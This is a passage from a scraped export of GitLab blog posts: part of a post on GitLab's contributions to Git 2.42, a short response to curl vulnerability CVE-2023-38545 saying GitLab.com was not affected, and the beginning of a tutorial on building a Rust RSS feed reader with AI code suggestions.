--batch\nHEAD:does-not-exist missing\n```\n\nAs the error messages are printed along with the regular ouput of the\ncommand on stdout, passing in an invalid pointer with a number of\nnewline characters in it could make it very difficult to parse the\noutput.\n\n### -Z comes to the rescue\n[Toon Claes](https://gitlab.com/toon), Gitaly senior engineer, initially worked on a\npatch to just quote the pointer in the error message, but it was\ndecided in the Git mailing list discussions related to the patch that\nit would be better to just create a new `-Z` option. This option would\nchange both the input and the output delimiter to the NUL character,\nwhile the old `-z` option would be deprecated over time.\n\nSo [Patrick Steinhardt](https://gitlab.com/pks-gitlab), Gitaly staff engineer, implemented that new `-Z` option.\n\nDetails of the patch series, including discussions, can be found\n[here](https://lore.kernel.org/git/20221209150048.2400648-1-toon@iotcl.com/)\nand [here](https://lore.kernel.org/git/cover.1685710884.git.ps@pks.im/).\n\n## 3. Pass pseudo-options to `git rev-list --stdin`\n\n### Computing sizes\nIn GitLab, we need to have different ways to compute the size of Git\nrelated content. For example, we need to know:\n  - how much disk space a repository is using\n  - how big a specific Git object is\n  - how much additional space on a repository is required by a\n    specific set of revisions (and the objects they reference)\n\nKnowing \"how much disk space a repository is using\" is useful to\nenforce repository-related quotas and is easy to get using regular\nshell and OS features.\n\nSize information about a specific Git object is useful to enforce\nquotas related to maximum file size. It can be obtained using, for\nexample, `git cat-file -s \u003Cobject>` or\n`echo \u003Cobject> | git cat-file --batch-check='%(objectsize)'`\nas already seen above.\n\nComputing the space required by a set of revisions is useful, too, as\nforks can share Git content in what we call\n\"[pool repositories](https://docs.gitlab.com/ee/development/git_object_deduplication.html),\"\nand we want to discriminate how much content belongs to each forked\nrepository. Fortunately, `git rev-list` has a `--disk-usage` option\nfor this purpose.\n\n### Passing arguments to `git rev-list`\n`git rev-list` can take a number of different arguments and has a lot\nof different options. It's a fundamental command to traverse commit\ngraphs, and it should be flexible enough to fulfill a lot of different\nuser needs.\n\nWhen repositories grow, they often store a lot of references and a lot\nof files and directories, so there is often the need to pass a big\nnumber of references or paths as arguments to the\ncommand. References and paths can be quite long though.\n\nTo avoid hitting platform limits related to command line length, long\nago, a `--stdin` mode was added that allowed users to pass revisions\nand paths through stdin, instead of as command line\narguments. However, when that was implemented, it was not considered\nnecessary to allow options or pseudo-options, like `--not`,\n`--glob=...`, or `--all` to be passed through stdin.\n\nThis appeared to be a problem for GitLab, as for computing sizes for\nforked repositories we needed some of the pseudo-options, and it would\nhave been intricate and possibly buggy to pass some of them and their\narguments as arguments on the command line while others were passed\nthrough stdin.\n\n### Allowing pseudo-options\nTo fix this issue, Patrick Steinhardt implemented a small patch series to\nallow pseudo-options through stdin.\n\nWith it, in Git 2.42, one can now pass pseudo-options, like `--not`,\n`--glob=...`, or `--all` through stdin when the `--stdin` mode is used.\n\nDetails of the patch series, including discussions, can be found\n[here](https://lore.kernel.org/git/cover.1686744685.git.ps@pks.im/).\n\n## 4. Code and test improvements\nWhile looking at some Git code, we are often tempted to modify nearby\ncode, either to change only its style when the code is ancient and it\nwould look better using Git's current code style, or to refactor it to\nmake it cleaner. This is why we sometimes send small patch series that\ndon't have a real GitLab related purpose.\n\nIn Git 2.42, examples of style code improvements we made are the\n[part1](https://lore.kernel.org/git/pull.1513.git.git.1684440205.gitgitgadget@gmail.com/)\nand\n[part2](https://lore.kernel.org/git/pull.1514.git.git.1684599239.gitgitgadget@gmail.com/)\ntest code modernization patches from John Cai.\n\nAnd [here](https://lore.kernel.org/git/cover.1684324059.git.ps@pks.im/) is\nan example of a refactoring to cleanup some code by Patrick Steinhardt.\n",[1067,736,815,267],{"slug":8125,"featured":6,"template":678},"contributions-to-git-2-42-release","content:en-us:blog:contributions-to-git-2-42-release.yml","Contributions To Git 2 42 Release","en-us/blog/contributions-to-git-2-42-release.yml","en-us/blog/contributions-to-git-2-42-release",{"_path":8131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8132,"content":8138,"config":8143,"_id":8145,"_type":16,"title":8146,"_source":17,"_file":8147,"_stem":8148,"_extension":20},"/en-us/blog/gitlab-response-to-cve-2023-38545",{"title":8133,"description":8134,"ogTitle":8133,"ogDescription":8134,"noIndex":6,"ogImage":8135,"ogUrl":8136,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8136,"schema":8137},"GitLab's response to curl and libcurl security vulnerability","Learn about CVE-2023-38545, which leverages a heap buffer overflow through the SOCKS5 protocol, and what it means for GitLab customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672878/Blog/Hero%20Images/securityscreen.jpg","https://about.gitlab.com/blog/gitlab-response-to-cve-2023-38545","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s response to a high severity vulnerability impacting curl and libcurl\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":8139,"description":8134,"authors":8140,"heroImage":8135,"date":8121,"body":8141,"category":674,"tags":8142},"GitLab’s response to a high severity vulnerability impacting curl and libcurl",[1224],"\n\nOn October 4, the developers of curl [announced](https://github.com/curl/curl/discussions/12026) that they would release a fix for a high severity vulnerability impacting curl and libcurl (CVE-2023-38545) with curl [8.4.0](https://curl.se/docs/vuln-8.4.0.html) on October 11. This vulnerability leverages a heap buffer overflow through the SOCKS5 protocol. Detailed information regarding the requirements for an environment to be vulnerable are outlined in [curl’s security advisory](https://curl.se/docs/CVE-2023-38545.html). \n\n## Are you affected?\n\n**Based on our investigation, we did not identify any SOCKS5 usage in the GitLab.com or GitLab Dedicated environments.** GitLab.com and GitLab Dedicated customers are not susceptible to this vulnerability because it does not allow for the configuration of a SOCKS5 proxy.\n\nSelf-managed customers who may be operating a SOCKS5 proxy in coordination with their GitLab application should refer to [curl’s security advisory](https://curl.se/docs/CVE-2023-38545.html) to assess their exposure to this vulnerability. This vulnerability affects libcurl versions 7.69.0 to 8.3.0. The developers of curl are encouraging all affected users to upgrade to curl version [8.4.0](https://curl.se/docs/vuln-8.4.0.html).\n\n## Assessing the impact to GitLab's platform, users, and customers\n\nUpon learning of the vulnerability's existence, GitLab’s security and development teams took proactive measures to identify where curl and libcurl were leveraged across the GitLab environment. This scoping exercise allowed us to develop initial assumptions regarding the potential impact to GitLab’s platforms, users, and customers.\n\nAfter the vulnerability disclosure by the developers of curl, our teams leveraged their extensive proactive scoping and investigated SOCKS5 usage across our environment through the use of options and environment variables.\n\nGitLab prioritizes and values security. Our response to this vulnerability was conducted with the security of our platform and the security of our customers’ data as the priority. The GitLab Security team will continue monitoring the situation and will update this blog post with any important details or required actions as needed.\n",[674,736],{"slug":8144,"featured":6,"template":678},"gitlab-response-to-cve-2023-38545","content:en-us:blog:gitlab-response-to-cve-2023-38545.yml","Gitlab Response To Cve 2023 38545","en-us/blog/gitlab-response-to-cve-2023-38545.yml","en-us/blog/gitlab-response-to-cve-2023-38545",{"_path":8150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8151,"content":8156,"config":8160,"_id":8162,"_type":16,"title":8163,"_source":17,"_file":8164,"_stem":8165,"_extension":20},"/en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"title":8152,"description":8153,"ogTitle":8152,"ogDescription":8153,"noIndex":6,"ogImage":7857,"ogUrl":8154,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8154,"schema":8155},"Learn advanced Rust programming with a little help from AI","Use this guided tutorial, along with AI-powered GitLab Duo Code Suggestions, to continue learning advanced Rust programming.","https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn advanced Rust programming with a little help from AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":8152,"description":8153,"authors":8157,"heroImage":7857,"date":8121,"body":8158,"category":791,"tags":8159},[4808],"When I started learning a new programming language more than 20 years ago, we had access to the Visual Studio 6 MSDN library, installed from 6 CD-ROMs. Algorithms with pen and paper, design pattern books, and MSDN queries to figure out the correct type were often time-consuming. Learning a new programming language changed fundamentally in the era of remote collaboration and artificial intelligence (AI). Now you can spin up a [remote development workspace](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), share your screen, and engage in a group programming session. With the help of [GitLab Duo Code Suggestions](/gitlab-duo/), you always have an intelligent partner at your fingertips. Code Suggestions can learn from your programming style and experience. They only need input and context to provide you with the most efficient suggestions.\n\nIn this tutorial, we build on the [getting started blog post](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) and design and create a simple feed reader application.\n\n- [Preparations](#preparations)\n    - [Code Suggestions](#code-suggestions)\n- [Continue learning Rust](#continue-learning-rust)\n    - [Hello, Reader App](#hello-reader-app)\n    - [Initialize project](#initialize-project)\n    - [Define RSS feed URLs](#define-rss-feed-urls)\n- [Modules](#modules)\n    - [Call the module function in main()](#call-the-module-function-in-main)\n- [Crates](#crates)\n    - [feed-rs: parse XML feed](#feed-rs-parse-xml-feed)\n- [Runtime configuration: Program arguments](#runtime-configuration-program-arguments)\n    - [User input error handling](#user-input-error-handling)\n- [Persistence and data storage](#persistence-and-data-storage)\n- [Optimization](#optimization)\n    - [Asynchronous execution](#asynchronous-execution)\n    - [Spawning threads](#spawning-threads)\n    - [Function scopes, threads, and closures](#function-scopes-threads-and-closures)\n- [Parse feed XML into objects](#parse-feed-xml-into-object-types)\n    - [Map generic feed data types](#map-generic-feed-data-types)\n    - [Error handling with Option::unwrap()](#error-handling-with-option-unwrap)\n- [Benchmarks](#benchmarks)\n    - [Sequential vs. Parallel execution benchmark](#sequential-vs-parallel-execution-benchmark)\n    - [CI/CD with Rust caching](#cicd-with-rust-caching)\n- [What is next](#what-is-next)\n    - [Async learning exercises](#async-learning-exercises)\n    - [Share your feedback](#share-your-feedback)\n\n## Preparations\nBefore diving into the source code, make sure to set up [VS Code](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code) and [your development environment with Rust](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust).\n\n### Code Suggestions\nFamiliarize yourself with suggestions before actually verifying the suggestions. GitLab Duo Code Suggestions are provided as you type, so you do not need use specific keyboard shortcuts. To accept a code suggestion, press the `tab` key. Also note that writing new code works more reliably than refactoring existing code. AI is non-deterministic, which means that the same suggestion may not be repeated after deleting the code suggestion. While Code Suggestions is in Beta, we are working on improving the accuracy of generated content overall. Please review the [known limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations), as this could affect your learning experience.\n\n**Tip:** The latest release of Code Suggestions supports multi-line instructions. You can refine the specifications to your needs to get better suggestions.\n\n```rust\n    // Create a function that iterates over the source array\n    // and fetches the data using HTTP from the RSS feed items.\n    // Store the results in a new hash map.\n    // Print the hash map to the terminal.\n```\n\nThe VS Code extension overlay is shown when offering a suggestion. You can use the `tab` key to accept the suggested line(s), or `cmd cursor right` to accept one word. Additionally, the three dots menu allows you to always show the toolbar.\n\n![VS Code GitLab Duo Code Suggestions overlay with instructions](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){: .shadow}\n\n## Continue learning Rust\nNow, let us continue learning Rust, which is one of the [supported languages in Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). [Rust by Example](https://doc.rust-lang.org/rust-by-example/) provides an excellent tutorial for beginners, together with the official [Rust book](https://doc.rust-lang.org/book/). Both resources are referenced throughout this blog post.\n\n### Hello, Reader App\nThere are many ways to create an application and learn Rust. Some of them involve using existing Rust libraries - so-called `Crates`. We will use them a bit further into the blog post. For example, you could create a command-line app that processes images and writes the result to a file. Solving a classic maze or writing a Sudoku solver can also be a fun challenge. Game development is another option. The book [Hands-on Rust](https://hands-on-rust.com/) provides a thorough learning path by creating a dungeon crawler game. My colleague Fatima Sarah Khalid started the [Dragon Realm in C++ with a little help from AI](/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions/) -- check it out, too.\n\nHere is a real use case that helps solve an actual problem: Collecting important information from different sources into RSS feeds for (security) releases, blog posts, and social discussion forums like Hacker News. Often, we want to filter for specific keywords or versions mentioned in the updates. These requirements allow us to formulate a requirements list for our application:\n\n1. Fetch data from different sources (HTTP websites, REST API, RSS feeds). RSS feeds in the first iteration.\n1. Parse the data.\n1. Present the data to the user, or write it to disk.\n1. Optimize performance.\n\nThe following example application output will be available after the learning steps in this blog post:\n\n![VS Code Terminal, cargo run with formatted feed entries output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\nThe application should be modular and build the foundation to add more data types, filters, and hooks to trigger actions at a later point.\n\n### Initialize project\nReminder: `cargo init` in the project root creates the file structure, including the `main()` entrypoint. Therefore, we will learn how to create and use Rust modules in the next step.\n\nCreate a new directory called `learn-rust-ai-app-reader`, change into it and run `cargo init`. This command implicitly runs `git init` to initialize a new Git repository locally. The remaining step is to configure the Git remote repository path, for example, `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`. Please adjust the path for your namespace. Pushing the Git repository [automatically creates a new private project in GitLab](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).\n\n```shell\nmkdir learn-rust-ai-app-reader\ncd learn-rust-ai-app-reader\n\ncargo init\n\ngit remote add origin https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git\ngit push --set-upstream origin main\n```\n\nOpen VS Code from the newly created directory. The `code` CLI will spawn a new VS Code window on macOS.\n\n```shell\ncode .\n```\n\n### Define RSS feed URLs\nAdd a new hashmap to store the RSS feed URLs inside the `src/main.rs` file in the `main()` function. You can instruct GitLab Duo Code Suggestions with a multi-line comment to create a [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html) object, and initialize it with default values for Hacker News, and TechCrunch. Note: Verify that the URLs are correct when you get suggestions.\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n\n}\n```\n\nNote that the code comment provides instructions for:\n\n1. The variable name `rss_feeds`.\n2. The `HashMap` type.\n3. Initial seed key/value pairs.\n4. String as type (can be seen with `to_string()` calls).\n\nOne possible suggested path can be as follows:\n\n```rust\nuse std::collections::HashMap;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n}\n```\n\n![VS Code with Code Suggestions for RSS feed URLs for Hacker News and TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)\n\nOpen a new terminal in VS Code (cmd shift p - search for `terminal`), and run `cargo build` to build the changes. The error message instructs you to add the `use std::collections::HashMap;` import.\n\nThe next step is to do something with the RSS feed URLs. [The previous blog post](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) taught us to split code into functions. We want to organize the code more modularly for our reader application, and use Rust modules.\n\n## Modules\n[Modules](https://doc.rust-lang.org/rust-by-example/mod.html) help with organizing code. They can also be used to hide functions into the module scope, limiting access to them from the main() scope. In our reader application, we want to fetch the RSS feed content, and parse the XML response. The `main()` caller should only be able to access the `get_feeds()` function, while other functionality is only available in the module.\n\nCreate a new file `feed_reader.rs` in the `src/` directory. Instruct Code Suggestions to create a public module named `feed_reader`, and a public function `get_feeds()` with a String HashMap as input. Important: The file and module names need to be the same, following the [Rust module structure](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html).\n\n![Code Suggestions: Create public module, with function and input types](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nInstructing Code Suggestions with the input variable name and type will also import the required `std::collections::HashMap` module. Tip: Experiment with the comments, and refine the variable types to land the best results. Passing function parameters as object references is considered best practice in Rust, for example.\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Do something with the RSS feeds\n    }\n}\n```\n\n![Code Suggestions: Public module with `get_feeds()` function, and suggested input variable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nInside the function, continue to instruct Code Suggestions with the following steps:\n\n1. `// Iterate over the RSS feed URLs`\n2. `// Fetch URL content`\n3. `// Parse XML body`\n4. `// Print the result`\n\n![Code Suggestions: Public module with `get_feeds()` function, step 1: Iterate](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){: .shadow}\n\n![Code Suggestions: Public module with `get_feeds()` function, step 2: Fetch URL content](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){: .shadow}\n\n![Code Suggestions: Public module with `get_feeds()` function, step 3: Parse XML body](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){: .shadow}\n\n![Code Suggestions: Public module with `get_feeds()` function, step 4: Print the results](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){: .shadow}\n\nThe following code can be suggested:\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Iterate over the RSS feed URLs\n        for (name, url) in rss_feeds {\n            println!(\"{}: {}\", name, url);\n\n            // Fetch URL content\n            let body = reqwest::blocking::get(url).unwrap().text().unwrap();\n\n            // Parse XML body\n            let parsed_body = roxmltree::Document::parse(&body).unwrap();\n\n            // Print the result\n            println!(\"{:#?}\", parsed_body);\n        }\n    }\n}\n```\n\nYou see a new keyword here: [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html). Rust does not support `null` values, and uses the [`Option` type](https://doc.rust-lang.org/rust-by-example/std/option.html) for any value. If you are certain to use a specific wrapped type, for example, `Text` or `String`, you can call the `unwrap()` method to get the value. The `unwrap()` method will panic if the value is `None`.\n\n**Note** Code Suggestions referred to the `reqwest::blocking::get` function for the `// Fetch URL content` comment instruction. The [`reqwest` crate](https://docs.rs/reqwest/latest/reqwest/) name is intentional and not a typo. It provides a convenient, higher-level HTTP client for async and blocking requests.\n\nParsing the XML body is tricky - you might get different results, and the schema is not the same for every RSS feed URL. Let us try to call the `get_feeds()` function, and then work on improving the code.\n\n### Call the module function in main()\n\nThe main() function does not know about the `get_feeds()` function yet, so we need to import its module. In other programming languages, you might have seen the keywords `include` or `import`. The Rust module system is different.\n\nModules are organized in path directories. In our example, both source files exist on the same directory level. `feed_reader.rs` is interpreted as crate, containing one module called `feed_reader`, which defines the function `get_feeds()`.\n\n```\nsrc/\n  main.rs\n  feed_reader.rs\n```\n\nIn order to access `get_feeds()` from the `feed_reader.rs` file, we need to [bring module path](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html) into the `main.rs` scope first, and then call the full function path.\n\n```rust\nmod feed_reader;\n\nfn main() {\n\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n\n```\n\nAlternatively, we can import the full function path with the `use` keyword, and later use the short function name.\n\n```rust\nmod feed_reader;\nuse feed_reader::feed_reader::get_feeds;\n\nfn main() {\n\n    get_feeds(&rss_feeds);\n\n```\n\n**Tip:** I highly recommend reading the [Clear explanation of the Rust module system blog post](https://www.sheshbabu.com/posts/rust-module-system/) to get a better visual understanding.\n\n```diff\n\nfn main() {\n    // ...\n\n    // Print feed_reader get_feeds() output\n    println!(\"{}\", feed_reader::get_feeds(&rss_feeds));\n```\n\n```rust\nuse std::collections::HashMap;\n\nmod feed_reader;\n// Alternative: Import full function path\n//use feed_reader::feed_reader::get_feeds;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nRun `cargo build` in the terminal again to build the code.\n\n```shell\ncargo build\n```\n\nPotential build errors when Code Suggestions refer to common code and libraries for HTTP requests, and XML parsing:\n\n1. Error: `could not find blocking in reqwest`. Solution: Enable the `blocking` feature for the crate in `Config.toml`: `reqwest = { version = \"0.11.20\", features = [\"blocking\"] }`.\n2. Error: `failed to resolve: use of undeclared crate or module reqwest`. Solution: Add the `reqwest` crate.\n3. Error: `failed to resolve: use of undeclared crate or module roxmltree`. Solution: Add the `roxmltree` crate.\n\n```shell\nvim Config.toml\n\nreqwest = { version = \"0.11.20\", features = [\"blocking\"] }\n```\n\n```shell\ncargo add reqwest\ncargo add roxmltree\n```\n\n**Tip:** Copy the error message string, with a leading `Rust \u003Cerror message>` into your preferred browser to check whether a missing crate is available. Usually this search leads to a result on crates.io and you can add the missing dependencies.\n\nWhen the build is successful, run the code with `cargo run` and inspect the Hacker News RSS feed output.\n\n![VS Code terminal, cargo run to fetch Hacker News XML feed](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){: .shadow}\n\nWhat is next with parsing the XML body into human-readable format? In the next section, we will learn about existing solutions and how Rust crates come into play.\n\n## Crates\nRSS feeds share a common set of protocols and specifications. It feels like reinventing the wheel to parse XML items and understand the lower object structure. Recommendation for these types of tasks: Look whether someone else had the same problem already and might have created code to solve the problem.\n\nReusable library code in Rust is organized in so-called [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html), and made available in packages, and the package registry on crates.io. You can add these dependencies to your project by editing the `Config.toml` in the `[dependencies]` section, or using `cargo add \u003Cname>`.\n\nFor the reader app, we want to use the [feed-rs crate](https://crates.io/crates/feed-rs). Open a new terminal, and run the following command:\n\n```shell\ncargo add feed-rs\n```\n\n![VS Code Terminal Terminal: Add crate, verify in Config.toml](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)\n\n### feed-rs: parse XML feed\nNavigate into `src/feed_reader.rs` and modify the part where we parse the XML body. Code Suggestions understands how to call the `feed-rs` crate `parser::parse` function -- there is only one specialty here: `feed-rs` [expects string input as raw bytes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html) to determine the encoding itself. We can provide instructions in the comment to get the expected result though.\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n```\n\n![Code Suggestions: Public module with `get_feeds()` function, step 5: Modify XML parser to feed-rs](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){: .shadow}\n\nThe benefit of using `feed-rs` is not immediately visible until you see the printed output with `cargo run`: All keys and values are mapped to their respective Rust object types, and can be used for further operations.\n\n![VS Code terminal, cargo run to fetch Hacker News XML feed](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){: .shadow}\n\n## Runtime configuration: Program arguments\nUntil now, we have run the program with hard-coded RSS feed values compiled into the binary. The next step is allowing to configure the RSS feeds at runtime.\n\nRust provides [program arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) in the standard misc library. [Parsing the arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html) provides a better and faster learning experience than aiming for advanced program argument parsers (for example, the [clap](https://docs.rs/clap/latest/clap/) crate), or moving the program parameters into a configuration file and format ([TOML](https://toml.io/en/), YAML). You are reading these lines after I tried and failed with different routes for the best learning experience. This should not stop you from taking the challenge to configure RSS feeds in alternative ways.\n\nAs a boring solution, the command parameters can be passed as `\"name,url\"` string value pairs, and then are split by the `,` character to extract the name and URL values. The comment instructs Code Suggestions to perform these operations and extend the `rss_feeds` HashMap with the new values. Note that the variable might not be mutable, and, therefore, needs to be modified to `let mut rss_feeds`.\n\nNavigate into `src/main.rs` and add the following code to the `main()` function after the `rss_feeds` variable. Start with a comment to define the program arguments, and check the suggested code snippets.\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n```\n\n![Code suggestions for program arguments, and splitting name,URL values for the rss_feeds variable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){: .shadow}\n\nThe full code example can look like the following:\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let mut rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nYou can pass program arguments directly to the `cargo run` command, preceding the arguments with `--`. Enclose all arguments with double quotes, put the name followed by a comma and the RSS feed URL as argument. Separate all arguments with whitespaces.\n\n```\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS Code terminal, RSS feed output example for the GitLab blog](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){: .shadow}\n\n### User input error handling\nIf the provided user input does not match the program expectation, we need to [throw an error](https://doc.rust-lang.org/rust-by-example/error.html) and help the caller to fix the program arguments. For example, passing a malformed URL format should be treated as a runtime error. Instruct Code Suggestions with a code comment to throw an error if the URL is not valid.\n\n```rust\n    // Ensure that URL contains a valid format, otherwise throw an error\n```\n\nOne possible solution is to check if the `url` variable starts with `http://` or `https://`. If not, throw an error using the [panic! macro](https://doc.rust-lang.org/rust-by-example/std/panic.html). The full code example looks like the following:\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n\n        // Ensure that URL contains a valid format, otherwise throw an error\n        if !url.starts_with(\"http://\") && !url.starts_with(\"https://\") {\n            panic!(\"Invalid URL format: {}\", url);\n        }\n\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n```\n\nTest the error handling with removing a `:` in one of the URL strings. Add the `RUST_BACKTRACE=full` environment variable to get more verbose output when the `panic()` call happens.\n\n```\nRUST_BACKTRACE=full cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https//www.cncf.io/feed/\"\n```\n\n![VS Code Terminal with wrong URL format, panic error backtrace](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){: .shadow}\n\n## Persistence and data storage\nThe boring solution for storing the feed data is to dump the parsed body into a new file. Instruct Code Suggestions to use a pattern that includes the RSS feed name, and the current ISO date.\n\n```rust\n    // Parse XML body with feed_rs parser, input in bytes\n    let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n\n    // Print the result\n    println!(\"{:#?}\", parsed_body);\n\n    // Dump the parsed body to a file, as name-current-iso-date.xml\n    let now = chrono::offset::Local::now();\n    let filename = format!(\"{}-{}.xml\", name, now.format(\"%Y-%m-%d\"));\n    let mut file = std::fs::File::create(filename).unwrap();\n    file.write_all(body.as_bytes()).unwrap();\n```\n\nA possible suggestion will include using the [chrono crate](https://crates.io/crates/chrono). Add it using `cargo add chrono` and then invoke `cargo build` and `cargo run` again.\n\nThe files are written into the same directory where `cargo run` was executed. If you are executing the binary direcly in the `target/debug/` directory, all files will be dumped there.\n\n![VS Code with CNCF RSS feed content file, saved on disk](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)\n\n## Optimization\nThe entries in the `rss_feeds` variable are executed sequentially. Imagine having a list of 100+ URLs configured - this could take a long time to fetch and process. What if we could execute multiple fetch requests in parallel?\n\n### Asynchronous execution\nRust provides [threads](https://doc.rust-lang.org/book/ch16-01-threads.html) 